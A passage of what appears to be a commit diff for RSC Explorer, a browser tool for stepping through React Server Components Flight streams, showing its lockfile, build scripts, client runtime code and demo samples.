"integrity": "sha512-9MUUneP1BnRE9XAYi94FXxHmiLGbO75EHQZsgWqSiOXjoXSqJCw8aQbIEPxCy19TclEl/kHUFYce8ST2W+Qpjw==",
4475
+
"dev": true,
4476
+
"hasInstallScript": true,
4477
+
"license": "Apache-2.0",
4478
+
"bin": {
4479
+
"workerd": "bin/workerd"
4480
+
},
4481
+
"engines": {
4482
+
"node": ">=16"
4483
+
},
4484
+
"optionalDependencies": {
4485
+
"@cloudflare/workerd-darwin-64": "1.20251210.0",
4486
+
"@cloudflare/workerd-darwin-arm64": "1.20251210.0",
4487
+
"@cloudflare/workerd-linux-64": "1.20251210.0",
4488
+
"@cloudflare/workerd-linux-arm64": "1.20251210.0",
4489
+
"@cloudflare/workerd-windows-64": "1.20251210.0"
4490
+
}
4491
+
},
4492
+
"node_modules/wrangler": {
4493
+
"version": "4.54.0",
4494
+
"resolved": "https://registry.npmjs.org/wrangler/-/wrangler-4.54.0.tgz",
4495
+
"integrity": "sha512-bANFsjDwJLbprYoBK+hUDZsVbUv2SqJd8QvArLIcZk+fPq4h/Ohtj5vkKXD3k0s2bD1DXLk08D+hYmeNH+xC6A==",
4496
+
"dev": true,
4497
+
"license": "MIT OR Apache-2.0",
4498
+
"dependencies": {
4499
+
"@cloudflare/kv-asset-handler": "0.4.1",
4500
+
"@cloudflare/unenv-preset": "2.7.13",
4501
+
"blake3-wasm": "2.1.5",
4502
+
"esbuild": "0.27.0",
4503
+
"miniflare": "4.20251210.0",
4504
+
"path-to-regexp": "6.3.0",
4505
+
"unenv": "2.0.0-rc.24",
4506
+
"workerd": "1.20251210.0"
4507
+
},
4508
+
"bin": {
4509
+
"wrangler": "bin/wrangler.js",
4510
+
"wrangler2": "bin/wrangler.js"
4511
+
},
4512
+
"engines": {
4513
+
"node": ">=20.0.0"
4514
+
},
4515
+
"optionalDependencies": {
4516
+
"fsevents": "~2.3.2"
4517
+
},
4518
+
"peerDependencies": {
4519
+
"@cloudflare/workers-types": "^4.20251210.0"
4520
+
},
4521
+
"peerDependenciesMeta": {
4522
+
"@cloudflare/workers-types": {
4523
+
"optional": true
4524
+
}
4525
+
}
4526
+
},
4527
+
"node_modules/wrangler/node_modules/path-to-regexp": {
4528
+
"version": "6.3.0",
4529
+
"resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-6.3.0.tgz",
4530
+
"integrity": "sha512-Yhpw4T9C6hPpgPeA28us07OJeqZ5EzQTkbfwuhsUg0c237RomFoETJgmp2sa3F/41gfLE6G5cqcYwznmeEeOlQ==",
4531
+
"dev": true,
4532
+
"license": "MIT"
4533
+
},
4534
+
"node_modules/ws": {
4535
+
"version": "8.18.3",
4536
+
"resolved": "https://registry.npmjs.org/ws/-/ws-8.18.3.tgz",
4537
+
"integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==",
4538
+
"dev": true,
4539
+
"license": "MIT",
4540
+
"engines": {
4541
+
"node": ">=10.0.0"
4542
+
},
4543
+
"peerDependencies": {
4544
+
"bufferutil": "^4.0.1",
4545
+
"utf-8-validate": ">=5.0.2"
4546
+
},
4547
+
"peerDependenciesMeta": {
4548
+
"bufferutil": {
4549
+
"optional": true
4550
+
},
4551
+
"utf-8-validate": {
4552
+
"optional": true
4553
+
}
4554
+
}
4555
+
},
4556
+
"node_modules/yallist": {
4557
+
"version": "3.1.1",
4558
+
"resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
4559
+
"integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
4560
+
"dev": true,
4561
+
"license": "ISC"
4562
+
},
4563
+
"node_modules/youch": {
4564
+
"version": "4.1.0-beta.10",
4565
+
"resolved": "https://registry.npmjs.org/youch/-/youch-4.1.0-beta.10.tgz",
4566
+
"integrity": "sha512-rLfVLB4FgQneDr0dv1oddCVZmKjcJ6yX6mS4pU82Mq/Dt9a3cLZQ62pDBL4AUO+uVrCvtWz3ZFUL2HFAFJ/BXQ==",
4567
+
"dev": true,
4568
+
"license": "MIT",
4569
+
"dependencies": {
4570
+
"@poppinss/colors": "^4.1.5",
4571
+
"@poppinss/dumper": "^0.6.4",
4572
+
"@speed-highlight/core": "^1.2.7",
4573
+
"cookie": "^1.0.2",
4574
+
"youch-core": "^0.3.3"
4575
+
}
4576
+
},
4577
+
"node_modules/youch-core": {
4578
+
"version": "0.3.3",
4579
+
"resolved": "https://registry.npmjs.org/youch-core/-/youch-core-0.3.3.tgz",
4580
+
"integrity": "sha512-ho7XuGjLaJ2hWHoK8yFnsUGy2Y5uDpqSTq1FkHLK4/oqKtyUU1AFbOOxY4IpC9f0fTLjwYbslUz0Po5BpD1wrA==",
4581
+
"dev": true,
4582
+
"license": "MIT",
4583
+
"dependencies": {
4584
+
"@poppinss/exception": "^1.2.2",
4585
+
"error-stack-parser-es": "^1.0.5"
4586
+
}
4587
+
},
4588
+
"node_modules/youch/node_modules/cookie": {
4589
+
"version": "1.1.1",
4590
+
"resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz",
4591
+
"integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==",
4592
+
"dev": true,
4593
+
"license": "MIT",
4594
+
"engines": {
4595
+
"node": ">=18"
4596
+
},
4597
+
"funding": {
4598
+
"type": "opencollective",
4599
+
"url": "https://opencollective.com/express"
4600
+
}
4601
+
},
4602
+
"node_modules/zod": {
4603
+
"version": "3.22.3",
4604
+
"resolved": "https://registry.npmjs.org/zod/-/zod-3.22.3.tgz",
4605
+
"integrity": "sha512-EjIevzuJRiRPbVH4mGc8nApb/lVLKVpmUhAaR5R5doKGfAnGJ6Gr3CViAVjP+4FWSxCsybeWQdcgCtbX+7oZug==",
4606
+
"dev": true,
4607
+
"license": "MIT",
4608
+
"funding": {
4609
+
"url": "https://github.com/sponsors/colinhacks"
4610
+
}
4611
+
}
4612
+
}
4613
+
}
+46
package.json
+46
package.json
···
1
+
{
2
+
"name": "rscexplorer",
3
+
"version": "1.0.0",
4
+
"description": "",
5
+
"main": "index.js",
6
+
"type": "module",
7
+
"scripts": {
8
+
"build": "vite build",
9
+
"build:version": "node scripts/build-version.js",
10
+
"build:versions": "node scripts/build-version.js --all",
11
+
"dev": "vite",
12
+
"preview": "vite preview",
13
+
"deploy": "npm install && npm test && npm run build:versions && wrangler pages deploy dist --project-name=rscexplorer",
14
+
"test": "vitest run --reporter=verbose"
15
+
},
16
+
"keywords": [],
17
+
"author": "Dan Abramov <dan.abramov@gmail.com>",
18
+
"license": "MIT",
19
+
"dependencies": {
20
+
"@babel/standalone": "^7.28.5",
21
+
"@codemirror/autocomplete": "^6.20.0",
22
+
"@codemirror/commands": "^6.10.0",
23
+
"@codemirror/lang-javascript": "^6.2.4",
24
+
"@codemirror/language": "^6.11.3",
25
+
"@codemirror/state": "^6.5.2",
26
+
"@codemirror/theme-one-dark": "^6.1.3",
27
+
"@codemirror/view": "^6.39.4",
28
+
"@lezer/highlight": "^1.2.3",
29
+
"codemirror": "^6.0.2",
30
+
"react": "19.2.3",
31
+
"react-dom": "19.2.3",
32
+
"react-server-dom-webpack": "19.2.3",
33
+
"text-encoding": "^0.7.0",
34
+
"web-streams-polyfill": "^4.2.0"
35
+
},
36
+
"devDependencies": {
37
+
"@vitejs/plugin-react": "^5.1.2",
38
+
"@vitest/browser": "^4.0.15",
39
+
"@vitest/browser-playwright": "^4.0.15",
40
+
"playwright": "^1.57.0",
41
+
"rolldown": "^1.0.0-beta.54",
42
+
"vite": "npm:rolldown-vite@latest",
43
+
"vitest": "^4.0.15",
44
+
"wrangler": "^4.0.0"
45
+
}
46
+
}
screenshot.png
screenshot.png
This is a binary file and will not be displayed.
+94
scripts/build-version.js
+94
scripts/build-version.js
···
1
+
#!/usr/bin/env node
2
+
3
+
import { execSync } from "child_process";
4
+
import { parseArgs } from "util";
5
+
import { readFileSync } from "fs";
6
+
import ALL_VERSIONS from "./versions.json" with { type: "json" };
7
+
8
+
const REACT_PACKAGES = ["react", "react-dom", "react-server-dom-webpack"];
9
+
10
+
function run(cmd, opts = {}) {
11
+
console.log(`\n> ${cmd}`);
12
+
execSync(cmd, { stdio: "inherit", ...opts });
13
+
}
14
+
15
+
function getLatestVersion() {
16
+
const pkg = JSON.parse(readFileSync("package.json", "utf-8"));
17
+
return pkg.dependencies.react;
18
+
}
19
+
20
+
function installReactVersion(version) {
21
+
const packages = REACT_PACKAGES.map((p) => `${p}@${version}`).join(" ");
22
+
run(`npm install ${packages} --no-save`);
23
+
}
24
+
25
+
function buildForVersion(version, outDir) {
26
+
console.log(`\n========================================`);
27
+
console.log(
28
+
`Building React ${version} (dev + prod) → ${outDir || `dist/${version}`}`,
29
+
);
30
+
console.log(`========================================`);
31
+
32
+
installReactVersion(version);
33
+
34
+
const dir = outDir || `dist/${version}`;
35
+
// Base path for assets (e.g., /19.1.0/ or / for root)
36
+
const basePath = outDir === "dist" ? "/" : `/${version}/`;
37
+
const devBasePath = outDir === "dist" ? "/dev/" : `/${version}/dev/`;
38
+
39
+
// Production build
40
+
console.log(`\n--- Production build ---`);
41
+
run(`npm run build -- --outDir=${dir} --base=${basePath}`);
42
+
43
+
// Development build (unminified, development mode)
44
+
console.log(`\n--- Development build ---`);
45
+
run(
46
+
`npm run build -- --outDir=${dir}/dev --base=${devBasePath} --mode=development --minify=false`,
47
+
);
48
+
}
49
+
50
+
function restorePackages() {
51
+
console.log(`\n========================================`);
52
+
console.log(`Restoring original packages`);
53
+
console.log(`========================================`);
54
+
run("npm install");
55
+
}
56
+
57
+
// Parse arguments
58
+
const { values } = parseArgs({
59
+
options: {
60
+
version: { type: "string", short: "v" },
61
+
all: { type: "boolean", short: "a" },
62
+
},
63
+
allowPositionals: true,
64
+
});
65
+
66
+
try {
67
+
if (values.all) {
68
+
// Build latest (from package.json) to dist/ root first (cleans dist/)
69
+
const latest = getLatestVersion();
70
+
buildForVersion(latest, "dist");
71
+
// Then build all versions to dist/{version}/ (each cleans only its own dir)
72
+
for (const version of ALL_VERSIONS) {
73
+
buildForVersion(version);
74
+
}
75
+
} else if (values.version) {
76
+
// Build single version
77
+
buildForVersion(values.version);
78
+
} else {
79
+
console.error("Usage:");
80
+
console.error(" node scripts/build-version.js --version=19.2.0");
81
+
console.error(" node scripts/build-version.js --all");
82
+
process.exit(1);
83
+
}
84
+
85
+
restorePackages();
86
+
console.log("\nDone!");
87
+
} catch (err) {
88
+
console.error("\nBuild failed:", err.message);
89
+
// Still try to restore packages on failure
90
+
try {
91
+
restorePackages();
92
+
} catch {}
93
+
process.exit(1);
94
+
}
+1
scripts/versions.json
+1
scripts/versions.json
···
1
+
["19.2.0", "19.2.1", "19.2.2", "19.2.3"]
+15
src/client/byte-stream-polyfill.js
+15
src/client/byte-stream-polyfill.js
···
1
+
// Safari doesn't implement ReadableByteStreamController.
2
+
// The standard web-streams-polyfill only polyfills ReadableStream, not byte streams.
3
+
// This adds the missing byte stream support.
4
+
5
+
import {
6
+
ReadableStream as PolyfillReadableStream,
7
+
ReadableByteStreamController as PolyfillReadableByteStreamController,
8
+
} from 'web-streams-polyfill';
9
+
10
+
if (typeof globalThis.ReadableByteStreamController === 'undefined') {
11
+
// Safari doesn't have byte stream support - use the polyfill's ReadableStream
12
+
// which includes full byte stream support
13
+
globalThis.ReadableStream = PolyfillReadableStream;
14
+
globalThis.ReadableByteStreamController = PolyfillReadableByteStreamController;
15
+
}
+106
src/client/embed.jsx
+106
src/client/embed.jsx
···
1
+
// Must be first - shims webpack globals for react-server-dom-webpack
2
+
import './webpack-shim.js';
3
+
4
+
import './byte-stream-polyfill.js';
5
+
import 'web-streams-polyfill/polyfill';
6
+
import 'text-encoding';
7
+
8
+
import React, { useState, useEffect } from 'react';
9
+
import { createRoot } from 'react-dom/client';
10
+
import { Workspace } from './ui/Workspace.jsx';
11
+
import './styles/workspace.css';
12
+
13
+
// Default code shown when no code is provided
14
+
const DEFAULT_SERVER = `export default function App() {
15
+
return <h1>RSC Explorer</h1>;
16
+
}`;
17
+
18
+
const DEFAULT_CLIENT = `'use client'
19
+
20
+
export function Button({ children }) {
21
+
return <button>{children}</button>;
22
+
}`;
23
+
24
+
function EmbedApp() {
25
+
const [code, setCode] = useState(null);
26
+
const [showFullscreen, setShowFullscreen] = useState(false);
27
+
28
+
useEffect(() => {
29
+
const handleMessage = (event) => {
30
+
const { data } = event;
31
+
if (data?.type === 'rsc-embed:init') {
32
+
setCode({
33
+
server: (data.code?.server || DEFAULT_SERVER).trim(),
34
+
client: (data.code?.client || DEFAULT_CLIENT).trim(),
35
+
});
36
+
if (data.showFullscreen !== false) {
37
+
setShowFullscreen(true);
38
+
}
39
+
}
40
+
};
41
+
42
+
window.addEventListener('message', handleMessage);
43
+
44
+
// Signal to parent that we're ready to receive code
45
+
if (window.parent !== window) {
46
+
window.parent.postMessage({ type: 'rsc-embed:ready' }, '*');
47
+
}
48
+
49
+
return () => window.removeEventListener('message', handleMessage);
50
+
}, []);
51
+
52
+
// Report code changes back to parent
53
+
const handleCodeChange = (server, client) => {
54
+
if (window.parent !== window) {
55
+
window.parent.postMessage({
56
+
type: 'rsc-embed:code-changed',
57
+
code: { server, client }
58
+
}, '*');
59
+
}
60
+
};
61
+
62
+
// Generate fullscreen URL
63
+
const getFullscreenUrl = () => {
64
+
if (!code) return '#';
65
+
const json = JSON.stringify({ server: code.server, client: code.client });
66
+
const encoded = encodeURIComponent(btoa(unescape(encodeURIComponent(json))));
67
+
return `https://rscexplorer.dev/?c=${encoded}`;
68
+
};
69
+
70
+
// Show nothing until we receive code from parent
71
+
if (!code) {
72
+
return null;
73
+
}
74
+
75
+
return (
76
+
<>
77
+
{showFullscreen && (
78
+
<div className="embed-header">
79
+
<span className="embed-title">RSC Explorer</span>
80
+
<a
81
+
href={getFullscreenUrl()}
82
+
target="_blank"
83
+
rel="noopener noreferrer"
84
+
className="embed-fullscreen-link"
85
+
title="Open in RSC Explorer"
86
+
>
87
+
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2">
88
+
<path d="M18 13v6a2 2 0 01-2 2H5a2 2 0 01-2-2V8a2 2 0 012-2h6M15 3h6v6M10 14L21 3" />
89
+
</svg>
90
+
</a>
91
+
</div>
92
+
)}
93
+
<Workspace
94
+
key={`${code.server}:${code.client}`}
95
+
initialServerCode={code.server}
96
+
initialClientCode={code.client}
97
+
onCodeChange={handleCodeChange}
98
+
/>
99
+
</>
100
+
);
101
+
}
102
+
103
+
document.addEventListener('DOMContentLoaded', () => {
104
+
const root = createRoot(document.getElementById('embed-root'));
105
+
root.render(<EmbedApp />);
106
+
});
+16
src/client/index.jsx
+16
src/client/index.jsx
···
1
+
// Must be first - shims webpack globals for react-server-dom-webpack
2
+
import './webpack-shim.js';
3
+
4
+
import './byte-stream-polyfill.js';
5
+
import 'web-streams-polyfill/polyfill';
6
+
import 'text-encoding';
7
+
8
+
import React from 'react';
9
+
import { createRoot } from 'react-dom/client';
10
+
import { App } from './ui/App.jsx';
11
+
12
+
// Mount the app
13
+
document.addEventListener('DOMContentLoaded', () => {
14
+
const root = createRoot(document.getElementById('app'));
15
+
root.render(<App />);
16
+
});
+3
src/client/runtime/index.js
+3
src/client/runtime/index.js
+18
src/client/runtime/module-registry.js
+18
src/client/runtime/module-registry.js
···
1
+
import React from 'react';
2
+
3
+
export function registerClientModule(moduleId, moduleExports) {
4
+
if (typeof __webpack_module_cache__ !== 'undefined') {
5
+
__webpack_module_cache__[moduleId] = { exports: moduleExports };
6
+
}
7
+
}
8
+
9
+
export function evaluateClientModule(compiledCode) {
10
+
const module = { exports: {} };
11
+
const require = (id) => {
12
+
if (id === 'react') return React;
13
+
throw new Error(`Module "${id}" not found in client context`);
14
+
};
15
+
const fn = new Function('module', 'exports', 'require', 'React', compiledCode);
16
+
fn(module, module.exports, require, React);
17
+
return module.exports;
18
+
}
+66
src/client/runtime/steppable-stream.js
+66
src/client/runtime/steppable-stream.js
···
1
+
import { createFromReadableStream } from 'react-server-dom-webpack/client';
2
+
3
+
/**
4
+
* SteppableStream - makes a Flight stream steppable for debugging.
5
+
*
6
+
* Buffers incoming rows and controls their release to the Flight decoder.
7
+
* The flightPromise only resolves when all rows have been released.
8
+
*/
9
+
export class SteppableStream {
10
+
constructor(source, { callServer } = {}) {
11
+
this.rows = [];
12
+
this.releasedCount = 0;
13
+
this.buffered = false;
14
+
this.closed = false;
15
+
16
+
const encoder = new TextEncoder();
17
+
let controller;
18
+
const output = new ReadableStream({
19
+
start: (c) => { controller = c; }
20
+
});
21
+
22
+
this.release = (count) => {
23
+
while (this.releasedCount < count && this.releasedCount < this.rows.length) {
24
+
controller.enqueue(encoder.encode(this.rows[this.releasedCount] + '\n'));
25
+
this.releasedCount++;
26
+
}
27
+
if (this.releasedCount >= this.rows.length && this.buffered && !this.closed) {
28
+
controller.close();
29
+
this.closed = true;
30
+
}
31
+
};
32
+
33
+
this.flightPromise = createFromReadableStream(output, { callServer });
34
+
this.bufferPromise = this.buffer(source);
35
+
}
36
+
37
+
async buffer(stream) {
38
+
const reader = stream.getReader();
39
+
const decoder = new TextDecoder();
40
+
let partial = '';
41
+
42
+
try {
43
+
while (true) {
44
+
const { done, value } = await reader.read();
45
+
if (done) break;
46
+
47
+
partial += decoder.decode(value, { stream: true });
48
+
const lines = partial.split('\n');
49
+
partial = lines.pop();
50
+
51
+
for (const line of lines) {
52
+
if (line.trim()) this.rows.push(line);
53
+
}
54
+
}
55
+
56
+
partial += decoder.decode();
57
+
if (partial.trim()) this.rows.push(partial);
58
+
} finally {
59
+
this.buffered = true;
60
+
}
61
+
}
62
+
63
+
async waitForBuffer() {
64
+
await this.bufferPromise;
65
+
}
66
+
}
+124
src/client/runtime/timeline.js
+124
src/client/runtime/timeline.js
···
1
+
/**
2
+
* Timeline - manages a sequence of Flight responses for debugging.
3
+
*
4
+
* Each entry owns its SteppableStream(s). The cursor controls playback.
5
+
* Stepping releases data to streams; I/O is handled externally.
6
+
*
7
+
* Entry types:
8
+
* - render: { type, stream } - initial render
9
+
* - action: { type, name, args, stream } - action invoked from client or added manually
10
+
*/
11
+
export class Timeline {
12
+
constructor() {
13
+
this.entries = [];
14
+
this.cursor = 0;
15
+
this.listeners = new Set();
16
+
this.snapshot = null;
17
+
}
18
+
19
+
subscribe = (listener) => {
20
+
this.listeners.add(listener);
21
+
return () => this.listeners.delete(listener);
22
+
};
23
+
24
+
notify() {
25
+
this.snapshot = null; // Invalidate cache
26
+
this.listeners.forEach(fn => fn());
27
+
}
28
+
29
+
getChunkCount(entry) {
30
+
return entry.stream?.rows?.length || 0;
31
+
}
32
+
33
+
getTotalChunks() {
34
+
return this.entries.reduce((sum, e) => sum + this.getChunkCount(e), 0);
35
+
}
36
+
37
+
getPosition(globalChunk) {
38
+
let remaining = globalChunk;
39
+
for (let i = 0; i < this.entries.length; i++) {
40
+
const count = this.getChunkCount(this.entries[i]);
41
+
if (remaining < count) {
42
+
return { entryIndex: i, localChunk: remaining };
43
+
}
44
+
remaining -= count;
45
+
}
46
+
return null;
47
+
}
48
+
49
+
getEntryStart(entryIndex) {
50
+
let start = 0;
51
+
for (let i = 0; i < entryIndex; i++) {
52
+
start += this.getChunkCount(this.entries[i]);
53
+
}
54
+
return start;
55
+
}
56
+
57
+
canDeleteEntry(entryIndex) {
58
+
if (entryIndex < 0 || entryIndex >= this.entries.length) return false;
59
+
return this.cursor <= this.getEntryStart(entryIndex);
60
+
}
61
+
62
+
// For useSyncExternalStore compatibility - must return cached object
63
+
getSnapshot = () => {
64
+
if (this.snapshot) return this.snapshot;
65
+
66
+
const totalChunks = this.getTotalChunks();
67
+
this.snapshot = {
68
+
entries: this.entries,
69
+
cursor: this.cursor,
70
+
totalChunks,
71
+
isAtStart: this.cursor === 0,
72
+
isAtEnd: this.cursor >= totalChunks,
73
+
};
74
+
return this.snapshot;
75
+
};
76
+
77
+
setRender(stream) {
78
+
this.entries = [{ type: 'render', stream }];
79
+
this.cursor = 0;
80
+
this.notify();
81
+
}
82
+
83
+
addAction(name, args, stream) {
84
+
this.entries = [...this.entries, { type: 'action', name, args, stream }];
85
+
this.notify();
86
+
}
87
+
88
+
deleteEntry(entryIndex) {
89
+
if (!this.canDeleteEntry(entryIndex)) return false;
90
+
this.entries = this.entries.filter((_, i) => i !== entryIndex);
91
+
this.notify();
92
+
return true;
93
+
}
94
+
95
+
stepForward() {
96
+
const total = this.getTotalChunks();
97
+
if (this.cursor >= total) return;
98
+
99
+
const pos = this.getPosition(this.cursor);
100
+
if (!pos) return;
101
+
102
+
const entry = this.entries[pos.entryIndex];
103
+
this.cursor++;
104
+
entry.stream.release(pos.localChunk + 1);
105
+
106
+
this.notify();
107
+
}
108
+
109
+
skipToEntryEnd() {
110
+
const pos = this.getPosition(this.cursor);
111
+
if (!pos) return;
112
+
113
+
const entryEnd = this.getEntryStart(pos.entryIndex) + this.getChunkCount(this.entries[pos.entryIndex]);
114
+
while (this.cursor < entryEnd) {
115
+
this.stepForward();
116
+
}
117
+
}
118
+
119
+
clear() {
120
+
this.entries = [];
121
+
this.cursor = 0;
122
+
this.notify();
123
+
}
124
+
}
+639
src/client/samples.js
+639
src/client/samples.js
···
1
+
export const SAMPLES = {
2
+
hello: {
3
+
name: 'Hello World',
4
+
server: `export default function App() {
5
+
return <h1>Hello World</h1>
6
+
}`,
7
+
client: `'use client'`
8
+
},
9
+
async: {
10
+
name: 'Async Component',
11
+
server: `import { Suspense } from 'react'
12
+
13
+
export default function App() {
14
+
return (
15
+
<div>
16
+
<h1>Async Component</h1>
17
+
<Suspense fallback={<p>Loading...</p>}>
18
+
<SlowComponent />
19
+
</Suspense>
20
+
</div>
21
+
)
22
+
}
23
+
24
+
async function SlowComponent() {
25
+
await new Promise(r => setTimeout(r, 500))
26
+
return <p>Data loaded!</p>
27
+
}`,
28
+
client: `'use client'`
29
+
},
30
+
counter: {
31
+
name: 'Counter',
32
+
server: `import { Counter } from './client'
33
+
34
+
export default function App() {
35
+
return (
36
+
<div>
37
+
<h1>Counter</h1>
38
+
<Counter initialCount={0} />
39
+
</div>
40
+
)
41
+
}`,
42
+
client: `'use client'
43
+
44
+
import { useState } from 'react'
45
+
46
+
export function Counter({ initialCount }) {
47
+
const [count, setCount] = useState(initialCount)
48
+
49
+
return (
50
+
<div>
51
+
<p>Count: {count}</p>
52
+
<div style={{ display: 'flex', gap: 8 }}>
53
+
<button onClick={() => setCount(c => c - 1)}>−</button>
54
+
<button onClick={() => setCount(c => c + 1)}>+</button>
55
+
</div>
56
+
</div>
57
+
)
58
+
}`
59
+
},
60
+
form: {
61
+
name: 'Form Action',
62
+
server: `import { Form } from './client'
63
+
64
+
export default function App() {
65
+
return (
66
+
<div>
67
+
<h1>Form Action</h1>
68
+
<Form greetAction={greet} />
69
+
</div>
70
+
)
71
+
}
72
+
73
+
async function greet(prevState, formData) {
74
+
'use server'
75
+
await new Promise(r => setTimeout(r, 500))
76
+
const name = formData.get('name')
77
+
if (!name) return { message: null, error: 'Please enter a name' }
78
+
return { message: \`Hello, \${name}!\`, error: null }
79
+
}`,
80
+
client: `'use client'
81
+
82
+
import { useActionState } from 'react'
83
+
84
+
export function Form({ greetAction }) {
85
+
const [state, formAction, isPending] = useActionState(greetAction, {
86
+
message: null,
87
+
error: null
88
+
})
89
+
90
+
return (
91
+
<form action={formAction}>
92
+
<div style={{ display: 'flex', gap: 8 }}>
93
+
<input
94
+
name="name"
95
+
placeholder="Enter your name"
96
+
style={{ padding: '8px 12px', borderRadius: 4, border: '1px solid #ccc' }}
97
+
/>
98
+
<button disabled={isPending}>
99
+
{isPending ? 'Sending...' : 'Greet'}
100
+
</button>
101
+
</div>
102
+
{state.error && <p style={{ color: 'red', marginTop: 8 }}>{state.error}</p>}
103
+
{state.message && <p style={{ color: 'green', marginTop: 8 }}>{state.message}</p>}
104
+
</form>
105
+
)
106
+
}`
107
+
},
108
+
pagination: {
109
+
name: 'Pagination',
110
+
server: `import { Suspense } from 'react'
111
+
import { Paginator } from './client'
112
+
113
+
export default function App() {
114
+
return (
115
+
<div>
116
+
<h1>Pagination</h1>
117
+
<Suspense fallback={<p style={{ color: '#888' }}>Loading recipes...</p>}>
118
+
<InitialRecipes />
119
+
</Suspense>
120
+
</div>
121
+
)
122
+
}
123
+
124
+
async function InitialRecipes() {
125
+
await new Promise(r => setTimeout(r, 200))
126
+
const initialItems = recipes.slice(0, 2).map(r => <RecipeCard key={r.id} recipe={r} />)
127
+
return (
128
+
<Paginator
129
+
initialItems={initialItems}
130
+
initialCursor={2}
131
+
loadMoreAction={loadMore}
132
+
/>
133
+
)
134
+
}
135
+
136
+
async function loadMore(cursor) {
137
+
'use server'
138
+
await new Promise(r => setTimeout(r, 300))
139
+
const newItems = recipes.slice(cursor, cursor + 2)
140
+
return {
141
+
newItems: newItems.map(r => <RecipeCard key={r.id} recipe={r} />),
142
+
cursor: cursor + 2,
143
+
hasMore: cursor + 2 < recipes.length
144
+
}
145
+
}
146
+
147
+
function RecipeCard({ recipe }) {
148
+
return (
149
+
<div style={{ padding: 12, marginBottom: 8, background: '#f5f5f5', borderRadius: 6 }}>
150
+
<strong>{recipe.name}</strong>
151
+
<p style={{ margin: '4px 0 0', color: '#666', fontSize: 13 }}>
152
+
{recipe.time} · {recipe.difficulty}
153
+
</p>
154
+
</div>
155
+
)
156
+
}
157
+
158
+
const recipes = [
159
+
{ id: 1, name: 'Pasta Carbonara', time: '25 min', difficulty: 'Medium' },
160
+
{ id: 2, name: 'Grilled Cheese', time: '10 min', difficulty: 'Easy' },
161
+
{ id: 3, name: 'Chicken Stir Fry', time: '20 min', difficulty: 'Easy' },
162
+
{ id: 4, name: 'Beef Tacos', time: '30 min', difficulty: 'Medium' },
163
+
{ id: 5, name: 'Caesar Salad', time: '15 min', difficulty: 'Easy' },
164
+
{ id: 6, name: 'Mushroom Risotto', time: '45 min', difficulty: 'Hard' },
165
+
]`,
166
+
client: `'use client'
167
+
168
+
import { useState, useTransition } from 'react'
169
+
170
+
export function Paginator({ initialItems, initialCursor, loadMoreAction }) {
171
+
const state = usePagination(initialItems, initialCursor, loadMoreAction)
172
+
173
+
return (
174
+
<form action={state.formAction}>
175
+
{state.items}
176
+
{state.hasMore && (
177
+
<button disabled={state.isPending}>
178
+
{state.isPending ? 'Loading...' : 'Load More'}
179
+
</button>
180
+
)}
181
+
</form>
182
+
)
183
+
}
184
+
185
+
function usePagination(initialItems, initialCursor, action) {
186
+
const [items, setItems] = useState(initialItems)
187
+
const [cursor, setCursor] = useState(initialCursor)
188
+
const [hasMore, setHasMore] = useState(true)
189
+
const [isPending, startTransition] = useTransition()
190
+
191
+
const formAction = () => {
192
+
startTransition(async () => {
193
+
const result = await action(cursor)
194
+
setItems(prev => [...prev, ...result.newItems])
195
+
setCursor(result.cursor)
196
+
setHasMore(result.hasMore)
197
+
})
198
+
}
199
+
200
+
return { items, hasMore, formAction, isPending }
201
+
}`
202
+
},
203
+
refresh: {
204
+
name: 'Router Refresh',
205
+
server: `import { Suspense } from 'react'
206
+
import { Timer, Router } from './client'
207
+
208
+
export default function App() {
209
+
return (
210
+
<div>
211
+
<h1>Router Refresh</h1>
212
+
<p style={{ marginBottom: 12, color: '#666' }}>
213
+
Client state persists across server navigations
214
+
</p>
215
+
<Suspense fallback={<p>Loading...</p>}>
216
+
<Router initial={renderPage()} refreshAction={renderPage} />
217
+
</Suspense>
218
+
</div>
219
+
)
220
+
}
221
+
222
+
async function renderPage() {
223
+
'use server'
224
+
return <ColorTimer />
225
+
}
226
+
227
+
async function ColorTimer() {
228
+
await new Promise(r => setTimeout(r, 300))
229
+
const hue = Math.floor(Math.random() * 360)
230
+
return <Timer color={\`hsl(\${hue}, 70%, 85%)\`} />
231
+
}`,
232
+
client: `'use client'
233
+
234
+
import { useState, useEffect, useTransition, use } from 'react'
235
+
236
+
export function Timer({ color }) {
237
+
const [seconds, setSeconds] = useState(0)
238
+
239
+
useEffect(() => {
240
+
const id = setInterval(() => setSeconds(s => s + 1), 1000)
241
+
return () => clearInterval(id)
242
+
}, [])
243
+
244
+
return (
245
+
<div style={{
246
+
background: color,
247
+
padding: 24,
248
+
borderRadius: 8,
249
+
textAlign: 'center'
250
+
}}>
251
+
<p style={{ fontFamily: 'monospace', fontSize: 32, margin: 0 }}>{seconds}s</p>
252
+
</div>
253
+
)
254
+
}
255
+
256
+
export function Router({ initial, refreshAction }) {
257
+
const [contentPromise, setContentPromise] = useState(initial)
258
+
const [isPending, startTransition] = useTransition()
259
+
const content = use(contentPromise)
260
+
261
+
const refresh = () => {
262
+
startTransition(() => {
263
+
setContentPromise(refreshAction())
264
+
})
265
+
}
266
+
267
+
return (
268
+
<div style={{ opacity: isPending ? 0.6 : 1, transition: 'opacity 0.2s' }}>
269
+
{content}
270
+
<button onClick={refresh} disabled={isPending} style={{ marginTop: 12 }}>
271
+
{isPending ? 'Refreshing...' : 'Refresh'}
272
+
</button>
273
+
</div>
274
+
)
275
+
}`
276
+
},
277
+
errors: {
278
+
name: 'Error Handling',
279
+
server: `import { Suspense } from 'react'
280
+
import { ErrorBoundary } from './client'
281
+
282
+
export default function App() {
283
+
return (
284
+
<div>
285
+
<h1>Error Handling</h1>
286
+
<ErrorBoundary fallback={<FailedToLoad />}>
287
+
<Suspense fallback={<p>Loading user...</p>}>
288
+
